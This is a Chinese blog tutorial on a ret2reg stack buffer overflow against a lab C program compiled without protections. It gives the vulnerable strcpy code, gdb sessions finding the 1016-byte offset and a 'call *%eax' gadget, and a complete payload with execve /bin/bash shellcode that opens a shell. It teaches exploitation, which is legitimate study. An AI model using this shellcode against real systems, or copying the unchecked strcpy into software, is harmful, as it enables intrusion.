转载请注明出处:http://blog.csdn.net/wangxiaolong_china
被溢出程序源码如下:
root@linux:~/pentest# cat vulnerable.c
#include <stdio.h>
#include <string.h>
void evilfunction(char *input) {
char buffer[1000];
strcpy(buffer, input);
}
int main(int argc, char **argv) {
evilfunction(argv[1]);
return 0;
}
编译,并用gdb反汇编代码如下:
root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c
root@linux:~/pentest# gdb vulnerable
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/vulnerable...done.
(gdb) disass main
Dump of assembler code for function main:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: and {1}xfffffff0,%esp
0x080483ea <+6>: sub {1}x10,%esp
0x080483ed <+9>: mov 0xc(%ebp),%eax
0x080483f0 <+12>: add {1}x4,%eax
0x080483f3 <+15>: mov (%eax),%eax
0x080483f5 <+17>: mov %eax,(%esp)
0x080483f8 <+20>: call 0x80483c4 <evilfunction>
0x080483fd <+25>: mov {1}x0,%eax
0x08048402 <+30>: leave
0x08048403 <+31>: ret
End of assembler dump.
(gdb) disass evilfunction
Dump of assembler code for function evilfunction:
0x080483c4 <+0>: push %ebp
0x080483c5 <+1>: mov %esp,%ebp
0x080483c7 <+3>: sub {1}x408,%esp
0x080483cd <+9>: mov 0x8(%ebp),%eax
0x080483d0 <+12>: mov %eax,0x4(%esp)
0x080483d4 <+16>: lea -0x3f0(%ebp),%eax
0x080483da <+22>: mov %eax,(%esp)
0x080483dd <+25>: call 0x80482f4 <strcpy@plt>
0x080483e2 <+30>: leave
0x080483e3 <+31>: ret
End of assembler dump.
(gdb)
分析evilfunction函数调用栈的使用情况,如下图所示:
可以看到,要想溢出该栈,需要至少1016B的数据。
下面我们用gdb调试一下,看上面的分析是不是正确:
(gdb) run `perl -e 'print "\x41"x1014'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1014'`
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb) run `perl -e 'print "\x41"x1015'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1015'`
Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb) run `perl -e 'print "\x41"x1016'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1016'`
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
通过调试,可见分析是正确的。那么接下来,我们将构造我们的shellcode来溢出该堆栈。这一节中,我们将使用一种常用的技巧,ret2reg(return to register),与上文中提到的基本溢出方法不同的是,基本溢出使用esp地址硬编码eip的方式来执行我们的shellcode,而ret2reg则使用现有指令地址覆写eip,该指令将跳转到一个寄存器指向的buffer的地址处执行。
下面使用gdb调试整个溢出过程,看是否有某个寄存器可供我们使用。即在程序溢出时,那个寄存器指向我们所要执行的shellcode。
root@linux:~/pentest# gdb vulnerable
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/vulnerable...done.
(gdb) disass main
Dump of assembler code for function main:
0x080483e4 <+0>: push %ebp
0x080483e5 <+1>: mov %esp,%ebp
0x080483e7 <+3>: and {1}xfffffff0,%esp
0x080483ea <+6>: sub {1}x10,%esp
0x080483ed <+9>: mov 0xc(%ebp),%eax
0x080483f0 <+12>: add {1}x4,%eax
0x080483f3 <+15>: mov (%eax),%eax
0x080483f5 <+17>: mov %eax,(%esp)
0x080483f8 <+20>: call 0x80483c4 <evilfunction>
0x080483fd <+25>: mov {1}x0,%eax
0x08048402 <+30>: leave
0x08048403 <+31>: ret
End of assembler dump.
(gdb) b *main+20
Breakpoint 1 at 0x80483f8: file vulnerable.c, line 12.
(gdb) b *main+31
Breakpoint 2 at 0x8048403: file vulnerable.c, line 15.
(gdb) disass evilfunction
Dump of assembler code for function evilfunction:
0x080483c4 <+0>: push %ebp
0x080483c5 <+1>: mov %esp,%ebp
0x080483c7 <+3>: sub {1}x408,%esp
0x080483cd <+9>: mov 0x8(%ebp),%eax
0x080483d0 <+12>: mov %eax,0x4(%esp)
0x080483d4 <+16>: lea -0x3f0(%ebp),%eax
0x080483da <+22>: mov %eax,(%esp)
0x080483dd <+25>: call 0x80482f4 <strcpy@plt>
0x080483e2 <+30>: leave
0x080483e3 <+31>: ret
End of assembler dump.
(gdb) b *evilfunction+31
Breakpoint 3 at 0x80483e3: file vulnerable.c, line 8.
(gdb) run `perl -e 'print "\x41"x1012,"\x42"x4'`
Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x1012,"\x42"x4'`
Breakpoint 1, 0x080483f8 in main (argc=2, argv=0xbffff064) at vulnerable.c:12
12 evilfunction(argv[1]);
(gdb) stepi
evilfunction (input=0xbffff203 'A' <repeats 200 times>...) at vulnerable.c:4
4 void evilfunction(char *input) {
(gdb) i r esp
esp 0xbfffef9c 0xbfffef9c
(gdb) x/10x $esp-16
0xbfffef8c: 0x08048429 0x00171cbd 0x0029f324 0x0029eff4
0xbfffef9c: 0x080483fd 0xbffff203 0x0011ea50 0x0804841b
0xbfffefac: 0x0029eff4 0x08048410
(gdb) c
Continuing.
Breakpoint 3, 0x080483e3 in evilfunction (input=0xbffff200 "le") at vulnerable.c:8
8 }
(gdb) i r esp
esp 0xbfffef9c 0xbfffef9c
(gdb) x/10x $esp-16
0xbfffef8c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffef9c: 0x42424242 0xbffff200 0x0011ea50 0x0804841b
0xbfffefac: 0x0029eff4 0x08048410
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r
eax 0xbfffeba8 -1073747032
ecx 0x0 0
edx 0xbffff5fc -1073744388
ebx 0x29eff4 2748404
esp 0xbfffefa0 0xbfffefa0
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10246 [ PF ZF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/20x $eax
0xbfffeba8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebb8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebd8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebe8: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/20x $eax -16
0xbfffeb98: 0x0015b1c4 0x0015b1c4 0x000027d8 0x00005844
0xbfffeba8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebb8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebc8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebd8: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
通过上面得过程分析,可以知道,在溢出时,eax寄存器恰好指向我们要执行的堆栈的起始地址处。即,我们可以利用eax来实现ret2reg。即寻找类似“call *%eax”或者“jmp *%eax”类似的指令。通常,我们需要在共享库中查找类似指令。
为了简便起见,先查找本程序中是否包含eax的指令。
root@linux:~/pentest#objdump -d vulnerable | grep eax
80482c0: 58 pop %eax
80482d0: 0000 add %al,(%eax)
8048318: 50 push %eax
8048350: a1 18 a0 04 08 mov 0x804a018,%eax
8048366: 39d8 cmp %ebx,%eax
8048370: 83 c001 add {1}x1,%eax
8048373: a3 18 a0 04 08 mov %eax,0x804a018
8048378: ff 14 85 1c 9f 04 08 call *0x8049f1c(,%eax,4)
804837f: a1 18 a0 04 08 mov 0x804a018,%eax
8048384: 39d8 cmp %ebx,%eax
80483a6: a1 24 9f 04 08 mov 0x8049f24,%eax
80483ab: 85c0 test %eax,%eax
80483af: b8 00 00 00 00 mov {1}x0,%eax
80483b4: 85c0 test %eax,%eax
80483bf: ffd0 call *%eax
80483cd: 8b 4508 mov 0x8(%ebp),%eax
80483d0: 89 44 24 04 mov %eax,0x4(%esp)
80483d4: 8d 85 10 fc ff ff lea -0x3f0(%ebp),%eax
80483da: 89 0424 mov %eax,(%esp)
80483ed: 8b 450c mov 0xc(%ebp),%eax
80483f0: 83 c004 add {1}x4,%eax
80483f3: 8b00 mov (%eax),%eax
80483f5: 89 0424 mov %eax,(%esp)
80483fd: b8 00 00 00 00 mov {1}x0,%eax
804842f: 8d 83 20 ff ff ff lea -0xe0(%ebx),%eax
8048435: 29c7 sub %eax,%edi
8048440: 8b 45 10 mov 0x10(%ebp),%eax
8048443: 89 44 24 08 mov %eax,0x8(%esp)
8048447: 8b 450c mov 0xc(%ebp),%eax
804844a: 89 44 24 04 mov %eax,0x4(%esp)
804844e: 8b 4508 mov 0x8(%ebp),%eax
8048451: 89 0424 mov %eax,(%esp)
8048487: a1 14 9f 04 08 mov 0x8049f14,%eax
804848c: 83 f8ff cmp {1}xffffffff,%eax
804849b: ffd0 call *%eax
804849d: 8b03 mov (%ebx),%eax
804849f: 83 f8ff cmp {1}xffffffff,%eax
root@linux:~/pentest#
可以看到,程序中包含我们要找的类似于“jmp/call *%eax”的指令。这样,我们将采用“0x80483bf”这个地址。
接下来需要构建我们的溢出代码,设计格式如下:
#############################################################
“\x90” * 400B +shellcode(45B) + “\x90” * 567B + “0x80483bf”(4B)
#############################################################
下面按照上面的格式,构造,并进行溢出测试。
root@linux:~/pentest# gdb vulnerable
GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/pentest/vulnerable...done.
(gdb) r `perl -e 'print "\x90"x400,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\x90"x567,"\xbf\x83\x04\x08"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/pentest/vulnerable `perl -e 'print "\x90"x400,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\x90"x567,"\xbf\x83\x04\x08"'`
process 1909 is executing new program: /bin/bash
root@linux:/root/pentest# ls
shellcode shellcode.bin shellcode.c shellcode.pl shellcode_generator shellcode_generator.c test.c vulnerable vulnerable.c
root@linux:/root/pentest# exit
exit
Program exited normally.
(gdb)
可以看到,我们的溢出代码成功的获得了shell。